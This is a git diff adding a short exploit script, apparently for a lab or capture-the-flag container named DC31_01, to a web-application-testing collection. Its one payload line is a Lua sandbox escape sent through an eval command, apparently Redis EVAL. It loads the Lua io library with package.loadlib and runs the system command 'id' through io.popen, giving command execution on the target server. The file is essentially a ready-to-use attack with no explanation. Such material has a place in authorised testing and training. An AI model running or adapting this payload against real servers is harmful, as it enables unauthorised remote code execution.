diff --git a/web_application_testing/additional_exploits/dc31_01.sh b/web_application_testing/additional_exploits/dc31_01.sh new file mode 100644 index 0000000..bb67d8c --- /dev/null +++ b/web_application_testing/additional_exploits/dc31_01.sh @@ -0,0 +1,2 @@ +# Exploit for the DC31_01 container +eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0